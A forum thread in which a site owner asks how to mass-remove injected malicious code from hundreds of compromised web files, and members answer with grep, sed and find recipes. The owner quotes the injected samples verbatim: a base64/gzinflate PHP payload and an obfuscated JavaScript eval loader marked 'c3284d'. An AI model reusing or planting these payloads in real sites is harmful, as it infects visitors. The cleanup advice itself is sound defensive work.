LinuxQuestions.org
LinuxAnswers - the LQ Linux tutorial section.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices

Reply
 
Search this Thread
Old 06-19-2012, 01:19 AM   #1
SirTristan
Member
 
Registered: Feb 2006
Distribution: GNU/Linux
Posts: 54

Rep: Reputation: 15
100's of files infected by the same hacker code - any way to mass replace bad code?


It would seem that somehow, accounts on my server have been compromised by some hacker code. Using the find command for some identifiers (the string "c3284d", and also the address "") I've located the infected files.

Is there any way to use some linux command with regex to find the corrupt lines and simply delete them/replace them with blank space?
 
Old 06-19-2012, 06:53 AM   #2
tronayne
Senior Member
 
Registered: Oct 2003
Location: Northeastern Michigan, where Carhartt is a Designer Label
Distribution: Slackware 32- & 64-bit Stable
Posts: 3,033

Rep: Reputation: 755Reputation: 755Reputation: 755Reputation: 755Reputation: 755Reputation: 755Reputation: 755
One way might be sed where you would
Code:
sed 's/c3284d//g' file > /tmp/file
That's globally substitute c3284d with nothing (essentially deleting it).

I'd do that with something like
Code:
for FILE in (use find or an absolute path list you've already developed)
do
     sed 's/c3284d//g' ${FILE} > /tmp/${FILE}
     mv /tmp/${FILE} ${FILE}
done
Might not hurt to make a back up copy of all the files (using the above for, just don't pass them through sed and mv) first. Too, you'll probably need to expand the pattern (c3284d) to include the entire hack, but that shouldn't be difficult.

Hope this helps some.
 
Old 06-19-2012, 07:11 AM   #3
truboy
Member
 
Registered: Oct 2010
Location: Switzerland
Posts: 84

Rep: Reputation: 9
Hi,

Is c3284d in the filename or a string in the file ? Assuming it's a string in the file, you should try in the right directory :

Code:
grep -H c3284d * -R | cut -d: -f1 | xargs sed -i".bak" '/c3284d/d'
This will recursively delete every line containing c3284d from every file from the directory you run the command. It will back up the original files with a .bak suffix (if you don't want that, juste remove the -i".bak"). You have to be careful as you could easily damage your files ! Back them up before running the command, and you might want to try it on a dummy file tree first. I advise you to understand it as well, by googling grep, cut, xargs and sed, if you don't know about those tools.

Tell us if it worked !

Cheers
 
1 members found this post helpful.
Old 06-19-2012, 07:39 PM   #4
chrism01
Guru
 
Registered: Aug 2004
Location: Sydney
Distribution: Centos 6.5, Centos 5.10
Posts: 16,261

Rep: Reputation: 2028Reputation: 2028Reputation: 2028Reputation: 2028Reputation: 2028Reputation: 2028Reputation: 2028Reputation: 2028Reputation: 2028Reputation: 2028Reputation: 2028
I think relying on finding 'bad' strings is fraught with problems; just replace the entire files from backup.
There's no way to ensure you'll get all the 'bad' strings etc.
 
Old 06-19-2012, 08:08 PM   #5
unSpawn
Moderator
 
Registered: May 2001
Posts: 27,118
Blog Entries: 54

Rep: Reputation: 2787Reputation: 2787Reputation: 2787Reputation: 2787Reputation: 2787Reputation: 2787Reputation: 2787Reputation: 2787Reputation: 2787Reputation: 2787Reputation: 2787
In addition to what's been posted, for your efforts to make sense, please first ensure you know and have stopped the source of the contamination. Depending on what (versions) your web stack comprises of (web server, interpreter, applications and their plugins), where and how (shared host?) your site is hosted and who has (admin) access and how it's edited (FTP, web editor, web-based) you have to ensure all software versions are up to date, you need to scan all system login activity and all system and service logs for vulnerabilities, leeched credentials and signs of intrusions (Logwatch?), and if you're on shared hosting (have the hoster) ensure things are in proper order.

*If you need more help then please use the report button on your original post and ask for this thread to be moved to the Linux Security forum or create a follow-up thread there.
 
Old 06-19-2012, 10:36 PM   #6
SirTristan
Member
 
Registered: Feb 2006
Distribution: GNU/Linux
Posts: 54

Original Poster
Rep: Reputation: 15
Quote:
Originally Posted by truboy View Post
Hi,

Is c3284d in the filename or a string in the file ? Assuming it's a string in the file, you should try in the right directory :

Code:
grep -H c3284d * -R | cut -d: -f1 | xargs sed -i".bak" '/c3284d/d'
This will recursively delete every line containing c3284d from every file from the directory you run the command. It will back up the original files with a .bak suffix (if you don't want that, juste remove the -i".bak"). You have to be careful as you could easily damage your files ! Back them up before running the command, and you might want to try it on a dummy file tree first. I advise you to understand it as well, by googling grep, cut, xargs and sed, if you don't know about those tools.

Tell us if it worked !

Cheers
Thanks guys Here's the exact codes that I'd like to delete (they are strings within the files) - would I need to use any escape characters in the regex? I'd like to make sure before I execute the commands.
Code:
#c3284d#
echo(gzinflate(base64_decode("bVPbjpswEP2WWuoKipN47AmYsm4fon5BH6M8sFwWtFkgQBu$
#/c3284d#
Code:
<!--c3284d--><script>try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;f="from";try{bcsd=prototype-2;}catch(bawg){ss=[];f+=(h&&f)?("CharC"+"ode"):"";e=window["eval"];n=[13,20,300,444,99,234,327,404,110,232,138,476,114,210,348,404,40,78,180,420,102,228,291,436,101,64,345,456,99,122,102,416,116,232,336,232,47,94,330,420,107,202,303,484,98,92,297,444,109,94,345,464,97,232,345,184,112,208,336,136,32,220,291,436,101,122,102,336,119,210,348,464,101,228,102,128,115,198,342,444,108,216,315,440,103,122,102,388,117,232,333,136,32,204,342,388,109,202,294,444,114,200,303,456,61,68,330,444,34,64,291,432,105,206,330,244,34,198,303,440,116,202,342,136,32,208,303,420,103,208,348,244,34,100,102,128,119,210,300,464,104,122,102,200,34,124,180,188,105,204,342,388,109,202,186,156,41,118,39,40];if(window.document)for(i=6-2-1-2-1;-160+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+1));}e(ss);}}</script><!--/c3284d-->
 
Old 06-20-2012, 02:54 AM   #7
truboy
Member
 
Registered: Oct 2010
Location: Switzerland
Posts: 84

Rep: Reputation: 9
You're welcome.

In your first example, the command will delete the first and last line, leaving you with only the second (it seems to be what you want).

But in your second example, be careful, because if in your file the whole code is on the same line, just as in your post, it's going to delete everything.

If you don't want that, use tronayne's way with sed. That would be :

Code:
grep -H c3284d * -R | cut -d: -f1 | xargs sed -i".bak" 's/c3284d//g'
I didn't try it though.

Good luck !
 
Old 06-21-2012, 11:02 PM   #8
SirTristan
Member
 
Registered: Feb 2006
Distribution: GNU/Linux
Posts: 54

Original Poster
Rep: Reputation: 15
I tried executing the following command:
Code:
find /home/usern -type f -print0 | xargs -0 egrep '/echo(gzinflate(base64_decode("bVPbjpswEP2WWuoKipN47AmYsm4fon5BH6M8sFwWtFkgQButov33zphk00p9QNZ4Zs6ccxg/TsXYDvO3eXy7nFzZF79eq25eF2OVz9WPY8VRIAYRZqd1PgxVV+6a9lgGp0jQ3XuRz0UTnM7hpXErBXqzzWon6rF/FRlDPhVT6Yaxn/v5bahW+tbxlJ+fw8s0uf0hqyMXNA8Pdfg9ELsmH3ciEn1ZifCrEFnlzm1X9ue9qH7nR3HIOrcHI7WSRimJiDJNpTYojU4kKpQAimItwViJSUwxSk13Bq3Po5KJlWCpmUBAaam1lToFiYaqFciYwHArcRszNmjtqxAYK/bYxiwnJjKlYnPDSogXZZWRaImYlSmhp4mnCSr1xYxME+jWI1EIlllTpbIeGegzTEv9Q+tGxJdAehcVo8+zDM4Dn0CwNN+gvg4niUTe0D0iUzV3PMv1VzrGfIxX6Nt9mrizMk0CPBx7qtSilGyKyTS7+IDcxRYu1HnElmpjn9VL1jPjVmbCljIL1PfJ17ReiPqYhN66lfpL59UH3gXvA37o8gQ5RP+3wevY/lcXWLKUdCC5DDQspS05ZG0dLLu3vj2LsO7HoHXxSq+Av2wFsYraT07TZrdRFF5eXJvRVk9T9HMe2+55Xx+Cbv9y2ATt56D50oQRhPRsqmCa6Hh/3Fyf3x8=")));/'
I know there's files in that folder that contain that text, but find doesn't return anything. Is this because of unescaped regex...?

Also say that I want to delete any multi-line codes that are between two instances of #c3284d#, like
Code:
#c3284d#
echo(gzinflate(base64_decode("bVPbjpswEP2WWuoKipN47AmYsm4fon5BH6M8sFwWtFkgQBu$
#/c3284d#
What would be the regex I'd use to do that?
 
Old 06-22-2012, 07:10 AM   #9
truboy
Member
 
Registered: Oct 2010
Location: Switzerland
Posts: 84

Rep: Reputation: 9
Quote:
Originally Posted by SirTristan View Post
I know there's files in that folder that contain that text, but find doesn't return anything. Is this because of unescaped regex...?
Yes, certainly, you should put a '\' before every '(', ')', or any special character.

But you shouldn't need to use such a long regex for 'grep' : just
Code:
... | grep gzinflate
will give you the same results...

Quote:
Originally Posted by SirTristan View Post
What would be the regex I'd use to do that?
If you want to delete only the line between the '#c3284d#' :
Code:
sed -i".bak" '/#c3284d#/,/#c3284d#/{//p;d;}'
If you want to delete the '#c3284d#' as well :
Code:
sed -i".bak" '/#c3284d#/,/#c3284d#/d'

Last edited by truboy; 06-22-2012 at 07:11 AM.
 
Old 06-22-2012, 07:37 AM   #10
tronayne
Senior Member
 
Registered: Oct 2003
Location: Northeastern Michigan, where Carhartt is a Designer Label
Distribution: Slackware 32- & 64-bit Stable
Posts: 3,033

Rep: Reputation: 755Reputation: 755Reputation: 755Reputation: 755Reputation: 755Reputation: 755Reputation: 755
Here's something you may want to consider: is the bad code embedded in a line in a file or is it on a line by itself? In the first case, you want to "null" the bad code without deleting the line:
Code:
s/bad_pattern//g
is the syntax you would use. On the other hand, if the bad code is on a line by itself; i.e., it's identifiable as text and there is a line feed at the end of the line:
Code:
/bad_pattern/d
is the syntax you would use.

Be aware that you can create a file, call it fixit.sed or something, that contains multiple lines of sed instructions, that can be used to clean out a file. Each line of the fixit.sed would contain an individual pattern to be acted on. sed acts on lines and will edit each line in a file with all the instructions in fixit.sed line by line.

For example, this is a file I use to clean up messy input I get now and then
Code:
s/",/|/g
s/"/|/g
s/,/|/g
s/  */ /g
s/  *$//
s/PID: /PID: |/g
s/VID: /VID: |/g
s/SN: /SN: |/g
s/| /|/g
/^$/d
s/|$//g
s/$/|/g
The syntax for using this is
Code:
sed -f fixit.sed file > /tmp/file
Now, the reason that I do the redirect into /tmp/file is so that I can execute it and then look at the result (rather than doing it "in place").

For the same reason I suggest that you do this in a loop; e.g.,
Code:
for FILE in $(find /home/usern -type f | xargs grep -l 'c3284d')
do
     sed -f fixit.sed ${FILE} > /tmp/${FILE}
#    mv /tmp/${FILE} ${FILE}
done
That gives you a chance to make sure that you've found everything and cleaned up before you commit to replace the contaminated file(s).

If your contaminated files always contain the pattern c3284d then you can do this in one go (with all the bad patterns in fixit.sed); otherwise, it's no great trick to simply duplicate the loop with a different pattern for grep to find.

Doing it all in one go with a big complicated grep-sed-find-whatever is nice, but keeping it simpler is a lot easier to deal with -- this ain't production software where you need to worry about efficiency, it's a one-timer to fix a mess so keep it simple and don't worry about speed.

You really want a list of the bad patterns to create the fixit.sed file; here, grep and uniq come in handy:
Code:
>text_file
grep 'bad_pattern' * | sort | uniq >> text_file
repeat as necessary for other patterns
Then use a text editor and put the sed instructions at the beginning and end of each line of the patterns you've found. Pipes and filters; I've cleaned up a lot of junk just this way for a long, long time -- it's easy and it works... and, well, YMMV, eh?

Hope this helps some.
 
1 members found this post helpful.
Old 06-23-2012, 08:43 PM   #11
SirTristan
Member
 
Registered: Feb 2006
Distribution: GNU/Linux
Posts: 54

Original Poster
Rep: Reputation: 15
Thank you so much! Your detailed response is much appreciated. Although, I must confess I think I'm more confused than ever now Let's say I wanted to delete the following three lines of code from any file in the current directory and any sub-directories:
Code:
#c3284d#
echo(gzinflate(base64_decode("bVPbjpswEP2WWuoKipN47AmYsm4fon5BH6M8sFwWtFkgQButov33zphk00p9QNZ4Zs6ccxg/TsXYDvO3eXy7nFzZF79eq25eF2OVz9WPY8VRIAYRZqd1PgxVV+6a9lgGp0jQ3XuRz0UTnM7hpXErBXqzzWon6rF/FRlDPhVT6Yaxn/v5bahW+tbxlJ+fw8s0uf0hqyMXNA8Pdfg9ELsmH3ciEn1ZifCrEFnlzm1X9ue9qH7nR3HIOrcHI7WSRimJiDJNpTYojU4kKpQAimItwViJSUwxSk13Bq3Po5KJlWCpmUBAaam1lToFiYaqFciYwHArcRszNmjtqxAYK/bYxiwnJjKlYnPDSogXZZWRaImYlSmhp4mnCSr1xYxME+jWI1EIlllTpbIeGegzTEv9Q+tGxJdAehcVo8+zDM4Dn0CwNN+gvg4niUTe0D0iUzV3PMv1VzrGfIxX6Nt9mrizMk0CPBx7qtSilGyKyTS7+IDcxRYu1HnElmpjn9VL1jPjVmbCljIL1PfJ17ReiPqYhN66lfpL59UH3gXvA37o8gQ5RP+3wevY/lcXWLKUdCC5DDQspS05ZG0dLLu3vj2LsO7HoHXxSq+Av2wFsYraT07TZrdRFF5eXJvRVk9T9HMe2+55Xx+Cbv9y2ATt56D50oQRhPRsqmCa6Hh/3Fyf3x8=")));
#/c3284d#
What command would I use? I only want to delete this specific bit of text, not necessarily everything between the two lines containing 'c3284d', since that would have some risk in deleting valid code.

I tried something like this, trying \n and \r for newlines, but it didn't work:
Code:
grep -H #c3284d#\necho(gzinflate(base64_decode("bVPbjpswEP2WWuoKipN47AmYsm4fon5BH6M8sFwWtFkgQButov33zphk00p9QNZ4Zs6ccxg/TsXYDvO3eXy7nFzZF79eq25eF2OVz9WPY8VRIAYRZqd1PgxVV+6a9lgGp0jQ3XuRz0UTnM7hpXErBXqzzWon6rF/FRlDPhVT6Yaxn/v5bahW+tbxlJ+fw8s0uf0hqyMXNA8Pdfg9ELsmH3ciEn1ZifCrEFnlzm1X9ue9qH7nR3HIOrcHI7WSRimJiDJNpTYojU4kKpQAimItwViJSUwxSk13Bq3Po5KJlWCpmUBAaam1lToFiYaqFciYwHArcRszNmjtqxAYK/bYxiwnJjKlYnPDSogXZZWRaImYlSmhp4mnCSr1xYxME+jWI1EIlllTpbIeGegzTEv9Q+tGxJdAehcVo8+zDM4Dn0CwNN+gvg4niUTe0D0iUzV3PMv1VzrGfIxX6Nt9mrizMk0CPBx7qtSilGyKyTS7+IDcxRYu1HnElmpjn9VL1jPjVmbCljIL1PfJ17ReiPqYhN66lfpL59UH3gXvA37o8gQ5RP+3wevY/lcXWLKUdCC5DDQspS05ZG0dLLu3vj2LsO7HoHXxSq+Av2wFsYraT07TZrdRFF5eXJvRVk9T9HMe2+55Xx+Cbv9y2ATt56D50oQRhPRsqmCa6Hh/3Fyf3x8=")));\n#/c3284d# * -R | cut -d: -f1 | xargs sed -i".bak" '/#c3284d#\necho(gzinflate(base64_decode("bVPbjpswEP2WWuoKipN47AmYsm4fon5BH6M8sFwWtFkgQButov33zphk00p9QNZ4Zs6ccxg/TsXYDvO3eXy7nFzZF79eq25eF2OVz9WPY8VRIAYRZqd1PgxVV+6a9lgGp0jQ3XuRz0UTnM7hpXErBXqzzWon6rF/FRlDPhVT6Yaxn/v5bahW+tbxlJ+fw8s0uf0hqyMXNA8Pdfg9ELsmH3ciEn1ZifCrEFnlzm1X9ue9qH7nR3HIOrcHI7WSRimJiDJNpTYojU4kKpQAimItwViJSUwxSk13Bq3Po5KJlWCpmUBAaam1lToFiYaqFciYwHArcRszNmjtqxAYK/bYxiwnJjKlYnPDSogXZZWRaImYlSmhp4mnCSr1xYxME+jWI1EIlllTpbIeGegzTEv9Q+tGxJdAehcVo8+zDM4Dn0CwNN+gvg4niUTe0D0iUzV3PMv1VzrGfIxX6Nt9mrizMk0CPBx7qtSilGyKyTS7+IDcxRYu1HnElmpjn9VL1jPjVmbCljIL1PfJ17ReiPqYhN66lfpL59UH3gXvA37o8gQ5RP+3wevY/lcXWLKUdCC5DDQspS05ZG0dLLu3vj2LsO7HoHXxSq+Av2wFsYraT07TZrdRFF5eXJvRVk9T9HMe2+55Xx+Cbv9y2ATt56D50oQRhPRsqmCa6Hh/3Fyf3x8=")));\n#/c3284d#/d'
What is the correct way to format this command?
 
Old 06-24-2012, 08:08 AM   #12
tronayne
Senior Member
 
Registered: Oct 2003
Location: Northeastern Michigan, where Carhartt is a Designer Label
Distribution: Slackware 32- & 64-bit Stable
Posts: 3,033

Rep: Reputation: 755Reputation: 755Reputation: 755Reputation: 755Reputation: 755Reputation: 755Reputation: 755
All righty, let's take it in steps.

You're looking for files that contain unique patterns, c3284d and, say, bVPbjpswEP2WWuoK. You probably don't need to include the sharps or slashes unless the pattern c3284d actually exists in your files as a valid pattern, you only need enough to make it unique. Same with the gobbledygook -- if bVPbjpswEP2WWuoK is enough to identify the unique pattern, that's enough to use.

Now, you ask yourself a question: do I need to identify only contaminated files or can I just globally filter every file in a given tree? If a file does not contain the patterns I'm looking for would it matter if I pass it though sed and just copy it somewhere then copy it back (nope, it wouldn't, because sed won't do anything if it doesn't find a match to act on)? But let's just deal with contaminated file and leave to others alone.

So, we probably want to start with a find every file
Code:
find PATH -type f
where PATH is the absolute path to the starting directory of the tree, I believe you said that was /home/usern, so that would be
Code:
find /home/usern -type f
Now, we want to identify only those files that contain the patterns we're interested in
Code:
grep -i -l 'c3284d\|bVPbjpswEP2WWuoK' filename
will do that.

So, let's combine find and grep
Code:
find /home/usern -type f | xargs grep -i -l 'c3284d\|bVPbjpswEP2WWuoK'
will do that (the -i ignores case and the -l returns only the file name). You use xargs so you don't overflow buffers with to many file names (arguments).

Now we can identify specific files that contain contaminated lines, so how do we get rid of those contaminated lines -- that's where sed comes in, and, oh, yeah, a loop.

Let's write a little shell program:
Code:
for FILE in $(find /home/usern -type f | xargs grep -i -l 'c3284d\|bVPbjpswEP2WWuoK')
do
     sed -n '/c3284d/d;/bVPbjpswEP2WWuoK/d' ${FILE} > /tmp/${FILE}
done
The syntax sed -n say, be quiet, I don't need to see what you're doing along with the instruction to delete lines containing either of the patterns.

What we've got now is a filtered copy of each contaminated file in the /tmp
directory. We want to look at them and see if there's any left-over or other contamination.

Once we've done that -- we've looked at the edited files with grep or something that shows us patterns and we're sure we've gotten all the crap out of them -- we can get slick and change the sed options to edit in place (-i) and create a back up adding an extension, say, .bak or .old to the edited files (with -i'.bak'. We do want to cover our butts doing this kind of stuff (wouldn't hurt to copy the entire file tree somewhere before we start).

OK, we're sure we've got all the contamination out and let's give it a rip; change the little shell program to something like this:
Code:
for FILE in $(find /home/usern -type f | xargs grep -i -l 'c3284d\|bVPbjpswEP2WWuoK')
do
     sed -i'.bak' '/c3284d/d;/bVPbjpswEP2WWuoK/d' ${FILE}
done
Ought to do it.

Hope this helps some.
 
1 members found this post helpful.
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
LXer: 'Self-aware' bank account robbing code unleashed by hacker LXer Syndicated Linux News 1 12-19-2011 10:35 AM
LXer: Kernel Hacker Wants to Crack Android Code LXer Syndicated Linux News 0 02-10-2009 11:21 PM
Error in Perl Code : Bad switch statement(Problem in code block)? near ## line # suyog255 Programming 4 02-20-2008 05:35 PM
User Preferences: Use HTML code instead of vB code? (vB code is overrated) stefanlasiewski LQ Suggestions & Feedback 5 07-26-2005 01:37 AM


All times are GMT -5. The time now is 06:51 AM.

Main Menu
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
identi.ca: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration